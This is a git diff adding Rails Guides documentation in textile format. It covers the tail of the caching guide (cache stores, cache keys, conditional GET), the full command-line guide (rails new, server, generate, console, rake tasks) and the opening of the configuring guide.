+</ruby>
+
+The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory.
+
+However, it's important to note that query caches are created at the start of an action and destroyed at the end of that action and thus persist only for the duration of the action. If you'd like to store query results in a more persistent fashion, you can in Rails by using low level caching.
+
+h3. Cache Stores
+
+Rails provides different stores for the cached data created by <b>action</b> and <b>fragment</b> caches.
+
+TIP: Page caches are always stored on disk.
+
+h4. Configuration
+
+You can set up your application's default cache store by calling +config.cache_store=+ in the Application definition inside your +config/application.rb+ file or in an Application.configure block in an environment specific configuration file (i.e. +config/environments/*.rb+). The first argument will be the cache store to use and the rest of the argument will be passed as arguments to the cache store constructor.
+
+<ruby>
+config.cache_store = :memory_store
+</ruby>
+
+NOTE: Alternatively, you can call +ActionController::Base.cache_store+ outside of a configuration block.
+
+You can access the cache by calling +Rails.cache+.
+
+h4. ActiveSupport::Cache::Store
+
+This class provides the foundation for interacting with the cache in Rails. This is an abstract class and you cannot use it on its own. Rather you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations documented below.
+
+The main methods to call are +read+, +write+, +delete+, +exist?+, and +fetch+. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists.
+
+There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries.
+
+* +:namespace+ - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment.
+
+* +:compress+ - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network.
+
+* +:compress_threshold+ - This options is used in conjunction with the +:compress+ option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes.
+
+* +:expires_in+ - This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache.
+
+* +:race_condition_ttl+ - This option is used in conjunction with the +:expires_in+ option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the +:expires_in+ option.
+
+h4. ActiveSupport::Cache::MemoryStore
+
+This cache store keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by the +:size+ options to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed.
+
+<ruby>
+config.cache_store = :memory_store, { :size => 64.megabytes }
+</ruby>
+
+If you're running multiple Ruby on Rails server processes (which is the case if you're using mongrel_cluster or Phusion Passenger), then your Rails server process instances won't be able to share cache data with each other. This cache store is not appropriate for large application deployments, but can work well for small, low traffic sites with only a couple of server processes or for development and test environments.
+
+This is the default cache store implementation.
+
+h4. ActiveSupport::Cache::FileStore
+
+This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.
+
+<ruby>
+config.cache_store = :file_store, "/path/to/cache/directory"
+</ruby>
+
+With this cache store, multiple server processes on the same host can share a cache. Servers processes running on different hosts could share a cache by using a shared file system, but that set up would not be ideal and is not recommended. The cache store is appropriate for low to medium traffic sites that are served off one or two hosts.
+
+Note that the cache will grow until the disk is full unless you periodically clear out old entries.
+
+h4. ActiveSupport::Cache::MemCacheStore
+
+This cache store uses Danga's +memcached+ server to provide a centralized cache for your application. Rails uses the bundled +memcache-client+ gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy.
+
+When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites.
+
+The +write+ and +fetch+ methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify +:raw+ to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operation like +increment+ and +decrement+ only on raw values. You can also specify +:unless_exist+ if you don't want memcached to overwrite an existing entry.
+
+<ruby>
+config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
+</ruby>
+
+h4. ActiveSupport::Cache::EhcacheStore
+
+If you are using JRuby you can use Terracotta's Ehcache as the cache store for your application. Ehcache is an open source Java cache that also offers an enterprise version with increased scalability, management, and commercial support. You must first install the jruby-ehcache-rails3 gem (version 1.1.0 or later) to use this cache store.
+
+<ruby>
+config.cache_store = :ehcache_store
+</ruby>
+
+When initializing the cache, you may use the +:ehcache_config+ option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache).
+
+In addition to the standard +:expires_in+ option, the +write+ method on this cache can also accept the additional  +:unless_exist+ option, which will cause the cache store to use Ehcache's +putIfAbsent+ method instead of +put+, and therefore will not overwrite an existing entry. Additionally, the +write+ method supports all of the properties exposed by the "Ehcache Element class":http://ehcache.org/apidocs/net/sf/ehcache/Element.html , including:
+
+|_. Property |_. Argument Type |_. Description |
+| elementEvictionData | ElementEvictionData | Sets this element's eviction data instance. |
+| eternal | boolean | Sets whether the element is eternal. |
+| timeToIdle, tti | int | Sets time to idle |
+| timeToLive, ttl, expires_in | int | Sets time to Live |
+| version | long | Sets the version attribute of the ElementAttributes object. |
+
+These options are passed to the +write+ method as Hash options using either camelCase or underscore notation, as in the following examples:
+
+<ruby>
+Rails.cache.write('key', 'value', :time_to_idle => 60.seconds, :timeToLive => 600.seconds)
+caches_action :index, :expires_in => 60.seconds, :unless_exist => true
+</ruby>
+
+For more information about Ehcache, see "http://ehcache.org/":http://ehcache.org/ .
+For more information about Ehcache for JRuby and Rails, see "http://ehcache.org/documentation/jruby.html":http://ehcache.org/documentation/jruby.html
+
+h4. ActiveSupport::Cache::NullStore
+
+This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with +Rails.cache+, but caching may interfere with being able to see the results of code changes. With this cache store, all +fetch+ and +read+ operations will result in a miss.
+
+<ruby>
+config.cache_store = :null_store
+</ruby>
+
+h4. Custom Cache Stores
+
+You can create your own custom cache store by simply extending +ActiveSupport::Cache::Store+ and implementing the appropriate methods. In this way, you can swap in any number of caching technologies into your Rails application.
+
+To use a custom cache store, simple set the cache store to a new instance of the class.
+
+<ruby>
+config.cache_store = MyCacheStore.new
+</ruby>
+
+h4. Cache Keys
+
+The keys used in a cache can be any object that responds to either +:cache_key+ or to +:to_param+. You can implement the +:cache_key+ method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id.
+
+You can use Hashes and Arrays of values as cache keys.
+
+<ruby>
+# This is a legal cache key
+Rails.cache.read(:site => "mysite", :owners => [owner_1, owner_2])
+</ruby>
+
+The keys you use on +Rails.cache+ will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with +Rails.cache+ and then try to pull them out with the +memcache-client+ gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules.
+
+h3. Conditional GET support
+
+Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache.
+
+They work by using the +HTTP_IF_NONE_MATCH+ and +HTTP_IF_MODIFIED_SINCE+ headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server’s version then the server only needs to send back an empty response with a not modified status.
+
+It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:
+
+<ruby>
+class ProductsController < ApplicationController
+
+  def show
+    @product = Product.find(params[:id])
+
+    # If the request is stale according to the given timestamp and etag value
+    # (i.e. it needs to be processed again) then execute this block
+    if stale?(:last_modified => @product.updated_at.utc, :etag => @product)
+      respond_to do |wants|
+        # ... normal response processing
+      end
+    end
+
+    # If the request is fresh (i.e. it's not modified) then you don't need to do
+    # anything. The default render checks for this using the parameters
+    # used in the previous call to stale? and will automatically send a
+    # :not_modified. So that's it, you're done.
+  end
+end
+</ruby>
+
+If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you’ve got an easy helper in fresh_when:
+
+<ruby>
+class ProductsController < ApplicationController
+
+  # This will automatically send back a :not_modified if the request is fresh,
+  # and will render the default template (product.*) if it's stale.
+
+  def show
+    @product = Product.find(params[:id])
+    fresh_when :last_modified => @product.published_at.utc, :etag => @product
+  end
+end
+</ruby>
+
+h3. Further reading
+
+* "Scaling Rails Screencasts":http://railslab.newrelic.com/scaling-rails
diff --git a/guides/source/command_line.textile b/guides/source/command_line.textile
new file mode 100644
index 0000000000..39b75c2781
--- /dev/null
+++ b/guides/source/command_line.textile
@@ -0,0 +1,614 @@
+h2. A Guide to The Rails Command Line
+
+Rails comes with every command line tool you'll need to
+
+* Create a Rails application
+* Generate models, controllers, database migrations, and unit tests
+* Start a development server
+* Experiment with objects through an interactive shell
+* Profile and benchmark your new creation
+
+endprologue.
+
+NOTE: This tutorial assumes you have basic Rails knowledge from reading the "Getting Started with Rails Guide":getting_started.html.
+
+WARNING. This Guide is based on Rails 3.2. Some of the code shown here will not work in earlier versions of Rails.
+
+h3. Command Line Basics
+
+There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
+
+* <tt>rails console</tt>
+* <tt>rails server</tt>
+* <tt>rake</tt>
+* <tt>rails generate</tt>
+* <tt>rails dbconsole</tt>
+* <tt>rails new app_name</tt>
+
+Let's create a simple Rails application to step through each of these commands in context.
+
+h4. +rails new+
+
+The first thing we'll want to do is create a new Rails application by running the +rails new+ command after installing Rails.
+
+INFO: You can install the rails gem by typing +gem install rails+, if you don't have it already.
+
+<shell>
+$ rails new commandsapp
+     create
+     create  README.rdoc
+     create  Rakefile
+     create  config.ru
+     create  .gitignore
+     create  Gemfile
+     create  app
+     ...
+     create  tmp/cache
+     ...
+        run  bundle install
+</shell>
+
+Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
+
+h4. +rails server+
+
+The +rails server+ command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser.
+
+INFO: WEBrick isn't your only option for serving Rails. We'll get to that "later":#different-servers.
+
+With no further work, +rails server+ will run our new shiny Rails app:
+
+<shell>
+$ cd commandsapp
+$ rails server
+=> Booting WEBrick
+=> Rails 3.2.3 application starting in development on http://0.0.0.0:3000
+=> Call with -d to detach
+=> Ctrl-C to shutdown server
+[2012-05-28 00:39:41] INFO  WEBrick 1.3.1
+[2012-05-28 00:39:41] INFO  ruby 1.9.2 (2011-02-18) [x86_64-darwin11.2.0]
+[2012-05-28 00:39:41] INFO  WEBrick::HTTPServer#start: pid=69680 port=3000
+</shell>
+
+With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open "http://localhost:3000":http://localhost:3000, you will see a basic Rails app running.
+
+INFO: You can also use the alias "s" to start the server: <tt>rails s</tt>.
+
+The server can be run on a different port using the +-p+ option. The default development environment can be changed using +-e+.
+
+<shell>
+$ rails server -e production -p 4000
+</shell>
+
+The +-b+ option binds Rails to the specified ip, by default it is 0.0.0.0. You can run a server as a daemon by passing a +-d+ option.
+
+h4. +rails generate+
+
+The +rails generate+ command uses templates to create a whole lot of things. Running +rails generate+ by itself gives a list of available generators:
+
+INFO: You can also use the alias "g" to invoke the generator command: <tt>rails g</tt>.
+
+<shell>
+$ rails generate
+Usage: rails generate GENERATOR [args] [options]
+
+...
+...
+
+Please choose a generator below.
+
+Rails:
+  assets
+  controller
+  generator
+  ...
+  ...
+</shell>
+
+NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
+
+Using generators will save you a large amount of time by writing *boilerplate code*, code that is necessary for the app to work.
+
+Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
+
+INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding +--help+ or +-h+ to the end, for example +rails server --help+.
+
+<shell>
+$ rails generate controller
+Usage: rails generate controller NAME [action action] [options]
+
+...
+...
+
+Description:
+    ...
+
+    To create a controller within a module, specify the controller name as a
+    path like 'parent_module/controller_name'.
+
+    ...
+
+Example:
+    `rails generate controller CreditCard open debit credit close`
+
+    Credit card controller with URLs like /credit_card/debit.
+        Controller:      app/controllers/credit_card_controller.rb
+        Functional Test: test/functional/credit_card_controller_test.rb
+        Views:           app/views/credit_card/debit.html.erb [...]
+        Helper:          app/helpers/credit_card_helper.rb
+</shell>
+
+The controller generator is expecting parameters in the form of +generate controller ControllerName action1 action2+. Let's make a +Greetings+ controller with an action of *hello*, which will say something nice to us.
+
+<shell>
+$ rails generate controller Greetings hello
+     create  app/controllers/greetings_controller.rb
+      route  get "greetings/hello"
+     invoke  erb
+     create    app/views/greetings
+     create    app/views/greetings/hello.html.erb
+     invoke  test_unit
+     create    test/functional/greetings_controller_test.rb
+     invoke  helper
+     create    app/helpers/greetings_helper.rb
+     invoke    test_unit
+     create      test/unit/helpers/greetings_helper_test.rb
+     invoke  assets
+     invoke    coffee
+     create      app/assets/javascripts/greetings.js.coffee
+     invoke    scss
+     create      app/assets/stylesheets/greetings.css.scss
+</shell>
+
+What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file and a stylesheet file.
+
+Check out the controller and modify it a little (in +app/controllers/greetings_controller.rb+):
+
+<ruby>
+class GreetingsController < ApplicationController
+  def hello
+    @message = "Hello, how are you today?"
+  end
+end
+</ruby>
+
+Then the view, to display our message (in +app/views/greetings/hello.html.erb+):
+
+<html>
+<h1>A Greeting for You!</h1>
+<p><%= @message %></p>
+</html>
+
+Fire up your server using +rails server+.
+
+<shell>
+$ rails server
+=> Booting WEBrick...
+</shell>
+
+The URL will be "http://localhost:3000/greetings/hello":http://localhost:3000/greetings/hello.
+
+INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the *index* action of that controller.
+
+Rails comes with a generator for data models too.
+
+<shell>
+$ rails generate model
+Usage:
+  rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
+
+...
+
+ActiveRecord options:
+      [--migration]            # Indicates when to generate migration
+                               # Default: true
+
+...
+
+Description:
+    Create rails files for model generator.
+</shell>
+
+NOTE: For a list of available field types, refer to the "API documentation":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html#method-i-column for the column method for the +TableDefinition+ class.
+
+But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A *scaffold* in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
+
+We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
+
+<shell>
+$ rails generate scaffold HighScore game:string score:integer
+    invoke  active_record
+    create    db/migrate/20120528060026_create_high_scores.rb
+    create    app/models/high_score.rb
+    invoke    test_unit
+    create      test/unit/high_score_test.rb
+    create      test/fixtures/high_scores.yml
+     route  resources :high_scores
+    invoke  scaffold_controller
+    create    app/controllers/high_scores_controller.rb
+    invoke    erb
+    create      app/views/high_scores
+    create      app/views/high_scores/index.html.erb
+    create      app/views/high_scores/edit.html.erb
+    create      app/views/high_scores/show.html.erb
+    create      app/views/high_scores/new.html.erb
+    create      app/views/high_scores/_form.html.erb
+    invoke    test_unit
+    create      test/functional/high_scores_controller_test.rb
+    invoke    helper
+    create      app/helpers/high_scores_helper.rb
+    invoke      test_unit
+    create        test/unit/helpers/high_scores_helper_test.rb
+    invoke  assets
+    invoke    coffee
+    create      app/assets/javascripts/high_scores.js.coffee
+    invoke    scss
+    create      app/assets/stylesheets/high_scores.css.scss
+    invoke  scss
+    create    app/assets/stylesheets/scaffolds.css.scss
+</shell>
+
+The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the +high_scores+ table and fields), takes care of the route for the *resource*, and new tests for everything.
+
+The migration requires that we *migrate*, that is, run some Ruby code (living in that +20120528060026_create_high_scores.rb+) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the +rake db:migrate+ command. We'll talk more about Rake in-depth in a little while.
+
+<shell>
+$ rake db:migrate
+==  CreateHighScores: migrating ===============================================
+-- create_table(:high_scores)
+   -> 0.0017s
+==  CreateHighScores: migrated (0.0019s) ======================================
+</shell>
+
+INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment.
+
+Let's see the interface Rails created for us.
+
+<shell>
+$ rails server
+</shell>
+
+Go to your browser and open "http://localhost:3000/high_scores":http://localhost:3000/high_scores, now we can create new high scores (55,160 on Space Invaders!)
+
+h4. +rails console+
+
+The +console+ command lets you interact with your Rails application from the command line. On the underside, +rails console+ uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
+
+INFO: You can also use the alias "c" to invoke the console: <tt>rails c</tt>.
+
+You can specify the environment in which the +console+ command should operate.
+
+<shell>
+$ rails console staging
+</shell>
+
+If you wish to test out some code without changing any data, you can do that by invoking +rails console --sandbox+.
+
+<shell>
+$ rails console --sandbox
+Loading development environment in sandbox (Rails 3.2.3)
+Any modifications you make will be rolled back on exit
+irb(main):001:0>
+</shell>
+
+h4. +rails dbconsole+
+
++rails dbconsole+ figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
+
+INFO: You can also use the alias "db" to invoke the dbconsole: <tt>rails db</tt>.
+
+h4. +rails runner+
+
+<tt>runner</tt> runs Ruby code in the context of Rails non-interactively. For instance:
+
+<shell>
+$ rails runner "Model.long_running_method"
+</shell>
+
+INFO: You can also use the alias "r" to invoke the runner: <tt>rails r</tt>.
+
+You can specify the environment in which the +runner+ command should operate using the +-e+ switch.
+
+<shell>
+$ rails runner -e staging "Model.long_running_method"
+</shell>
+
+h4. +rails destroy+
+
+Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it.
+
+INFO: You can also use the alias "d" to invoke the destroy command: <tt>rails d</tt>.
+
+<shell>
+$ rails generate model Oops
+      invoke  active_record
+      create    db/migrate/20120528062523_create_oops.rb
+      create    app/models/oops.rb
+      invoke    test_unit
+      create      test/unit/oops_test.rb
+      create      test/fixtures/oops.yml
+</shell>
+<shell>
+$ rails destroy model Oops
+      invoke  active_record
+      remove    db/migrate/20120528062523_create_oops.rb
+      remove    app/models/oops.rb
+      invoke    test_unit
+      remove      test/unit/oops_test.rb
+      remove      test/fixtures/oops.yml
+</shell>
+
+h3. Rake
+
+Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and +.rake+ files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other.
+
+You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing +rake --tasks+. Each task has a description, and should help you find the thing you need.
+
+<shell>
+$ rake --tasks
+rake about              # List versions of all Rails frameworks and the environment
+rake assets:clean       # Remove compiled assets
+rake assets:precompile  # Compile all the assets named in config.assets.precompile
+rake db:create          # Create the database from config/database.yml for the current Rails.env
+...
+rake log:clear          # Truncates all *.log files in log/ to zero bytes
+rake middleware         # Prints out your Rack middleware stack
+...
+rake tmp:clear          # Clear session, cache, and socket files from tmp/ (narrow w/ tmp:sessions:clear, tmp:cache:clear, tmp:sockets:clear)
+rake tmp:create         # Creates tmp directories for sessions, cache, sockets, and pids
+</shell>
+
+h4. +about+
+
+<tt>rake about</tt> gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
+
+<shell>
+$ rake about
+About your application's environment
+Ruby version              1.9.3 (x86_64-linux)
+RubyGems version          1.3.6
+Rack version              1.3
+Rails version             4.0.0.beta
+JavaScript Runtime        Node.js (V8)
+Active Record version     4.0.0.beta
+Action Pack version       4.0.0.beta
+Action Mailer version     4.0.0.beta
+Active Support version    4.0.0.beta
+Middleware                ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport
+Application root          /home/foobar/commandsapp
+Environment               development
+Database adapter          sqlite3
+Database schema version   20110805173523
+</shell>
+
+h4. +assets+
+
+You can precompile the assets in <tt>app/assets</tt> using <tt>rake assets:precompile</tt> and remove those compiled assets using <tt>rake assets:clean</tt>.
+
+h4. +db+
+
+The most common tasks of the +db:+ Rake namespace are +migrate+ and +create+, and it will pay off to try out all of the migration rake tasks (+up+, +down+, +redo+, +reset+). +rake db:version+ is useful when troubleshooting, telling you the current version of the database.
+
+More information about migrations can be found in the "Migrations":migrations.html guide.
+
+h4. +doc+
+
+The +doc:+ namespace has the tools to generate documentation for your app, API documentation, guides. Documentation can also be stripped which is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform.
+
+* +rake doc:app+ generates documentation for your application in +doc/app+.
+* +rake doc:guides+ generates Rails guides in +doc/guides+.
+* +rake doc:rails+ generates API documentation for Rails in +doc/api+.
+
+h4. +notes+
+
++rake notes+ will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension +.builder+, +.rb+, +.erb+, +.haml+ and +.slim+ for both default and custom annotations.
+
+<shell>
+$ rake notes
+(in /home/foobar/commandsapp)
+app/controllers/admin/users_controller.rb:
+  * [ 20] [TODO] any other way to do this?
+  * [132] [FIXME] high priority for next deploy
+
+app/model/school.rb:
+  * [ 13] [OPTIMIZE] refactor this code to make it faster
+  * [ 17] [FIXME]
+</shell>
+
+If you are looking for a specific annotation, say FIXME, you can use +rake notes:fixme+. Note that you have to lower case the annotation's name.
+
+<shell>
+$ rake notes:fixme
+(in /home/foobar/commandsapp)
+app/controllers/admin/users_controller.rb:
+  * [132] high priority for next deploy
+
+app/model/school.rb:
+  * [ 17]
+</shell>
+
+You can also use custom annotations in your code and list them using +rake notes:custom+ by specifying the annotation using an environment variable +ANNOTATION+.
+
+<shell>
+$ rake notes:custom ANNOTATION=BUG
+(in /home/foobar/commandsapp)
+app/model/post.rb:
+  * [ 23] Have to fix this one before pushing!
+</shell>
+
+NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines.
+
+By default, +rake notes+ will look in the +app+, +config+, +lib+, +script+ and +test+ directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable +SOURCE_ANNOTATION_DIRECTORIES+.
+
+<shell>
+$ export SOURCE_ANNOTATION_DIRECTORIES='rspec,vendor'
+$ rake notes
+(in /home/foobar/commandsapp)
+app/model/user.rb:
+  * [ 35] [FIXME] User should have a subscription at this point
+rspec/model/user_spec.rb:
+  * [122] [TODO] Verify the user that has a subscription works
+</shell>
+
+h4. +routes+
+
++rake routes+ will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.
+
+h4. +test+
+
+INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html
+
+Rails comes with a test suite called <tt>Test::Unit</tt>. Rails owes its stability to the use of tests. The tasks available in the +test:+ namespace helps in running the different tests you will hopefully write.
+
+h4. +tmp+
+
+The <tt>Rails.root/tmp</tt> directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions.
+
+The +tmp:+ namespaced tasks will help you clear the <tt>Rails.root/tmp</tt> directory:
+
+* +rake tmp:cache:clear+ clears <tt>tmp/cache</tt>.
+* +rake tmp:sessions:clear+ clears <tt>tmp/sessions</tt>.
+* +rake tmp:sockets:clear+ clears <tt>tmp/sockets</tt>.
+* +rake tmp:clear+ clears all the three: cache, sessions and sockets.
+
+h4. Miscellaneous
+
+* +rake stats+ is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
+* +rake secret+ will give you a pseudo-random key to use for your session secret.
+* <tt>rake time:zones:all</tt> lists all the timezones Rails knows about.
+
+h4. Writing Rake Tasks
+
+If you have (or want to write) any automation scripts outside your app (data import, checks, etc), you can make them as rake tasks. It's easy.
+
+INFO: "Complete guide about how to write tasks":http://rake.rubyforge.org/files/doc/rakefile_rdoc.html is available in the official documentation.
+
+Tasks should be placed in <tt>Rails.root/lib/tasks</tt> and should have a +.rake+ extension.
+
+Each task should be defined in next format (dependencies are optional):
+
+<ruby>
+desc "I am short, but comprehensive description for my cool task"
+task :task_name => [:prerequisite_task, :another_task_we_depend_on] do
+  # All your magick here
+  # Any valid Ruby code is allowed
+end
+</ruby>
+
+If you need to pass parameters, you can use next format (both arguments and dependencies are optional):
+
+<ruby>
+task :task_name, [:arg_1] => [:pre_1, :pre_2] do |t, args|
+  # You can use args from here
+end
+</ruby>
+
+You can group tasks by placing them in namespaces:
+
+<ruby>
+namespace :do
+  desc "This task does nothing"
+  task :nothing do
+    # Seriously, nothing
+  end
+end
+</ruby>
+
+You can see your tasks to be listed by <tt>rake -T</tt> command. And, according to the examples above, you can invoke them as follows:
+
+<shell>
+rake task_name
+rake "task_name[value 1]" # entire argument string should be quoted
+rake do:nothing
+</shell>   
+
+NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the +environment+ task, which will load your application code.
+
+h3. The Rails Advanced Command Line
+
+More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.
+
+h4. Rails with Databases and SCM
+
+When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.
+
+Let's see what a +--git+ option and a +--database=postgresql+ option will do for us:
+
+<shell>
+$ mkdir gitapp
+$ cd gitapp
+$ git init
+Initialized empty Git repository in .git/
+$ rails new . --git --database=postgresql
+      exists
+      create  app/controllers
+      create  app/helpers
+...
+...
+      create  tmp/cache
+      create  tmp/pids
+      create  Rakefile
+add 'Rakefile'
+      create  README.rdoc
+add 'README.rdoc'
+      create  app/controllers/application_controller.rb
+add 'app/controllers/application_controller.rb'
+      create  app/helpers/application_helper.rb
+...
+      create  log/test.log
+add 'log/test.log'
+</shell>
+
+We had to create the *gitapp* directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:
+
+<shell>
+$ cat config/database.yml
+# PostgreSQL. Versions 8.2 and up are supported.
+#
+# Install the ruby-postgres driver:
+#   gem install ruby-postgres
+# On Mac OS X:
+#   gem install ruby-postgres -- --include=/usr/local/pgsql
+# On Windows:
+#   gem install ruby-postgres
+#       Choose the win32 build.
+#       Install PostgreSQL and put its /bin directory on your path.
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: gitapp_development
+  pool: 5
+  username: gitapp
+  password:
+...
+...
+</shell>
+
+It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database.
+
+NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the +rails new+ command to generate the basis of your app.
+
+h4(#different-servers). +server+ with Different Backends
+
+Many people have created a large number of different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!).
+
+NOTE: For more details on the Rack integration, see "Rails on Rack":rails_on_rack.html.
+
+To use a different server, just install its gem, then use its name for the first parameter to +rails server+:
+
+<shell>
+$ sudo gem install mongrel
+Building native extensions.  This could take a while...
+Building native extensions.  This could take a while...
+Successfully installed gem_plugin-0.2.3
+Successfully installed fastthread-1.0.1
+Successfully installed cgi_multipart_eof_fix-2.5.0
+Successfully installed mongrel-1.1.5
+...
+...
+Installing RDoc documentation for mongrel-1.1.5...
+$ rails server mongrel
+=> Booting Mongrel (use 'rails server webrick' to force WEBrick)
+=> Rails 3.1.0 application starting on http://0.0.0.0:3000
+...
+</shell>
diff --git a/guides/source/configuring.textile b/guides/source/configuring.textile
new file mode 100644
index 0000000000..27eaf1cbc5
--- /dev/null
+++ b/guides/source/configuring.textile
@@ -0,0 +1,773 @@
+h2. Configuring Rails Applications
+
+This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:
+
+* Adjust the behavior of your Rails applications
+* Add additional code to be run at application start time
+
+endprologue.
+
+h3. Locations for Initialization Code
+
+Rails offers four standard spots to place initialization code:
+
+* +config/application.rb+
+* Environment-specific configuration files
+* Initializers
+* After-initializers
+
+h3. Running Code Before Rails
+
+In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to +require 'rails/all'+ in +config/application.rb+.
+
+h3. Configuring Rails Components
+
+In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file +config/application.rb+ and environment-specific configuration files (such as +config/environments/production.rb+) allow you to specify the various settings that you want to pass down to all of the components.
+
+For example, the default +config/application.rb+ file includes this setting:
+
+<ruby>
+config.filter_parameters += [:password]
+</ruby>
+
+This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same +config+ object in +config/application.rb+:
+
+<ruby>
+config.active_record.observers = [:hotel_observer, :review_observer]
+</ruby>
+
+Rails will use that particular setting to configure Active Record.
+
+h4. Rails General Configuration
+
+These configuration methods are to be called on a +Rails::Railtie+ object, such as a subclass of +Rails::Engine+ or +Rails::Application+.
+
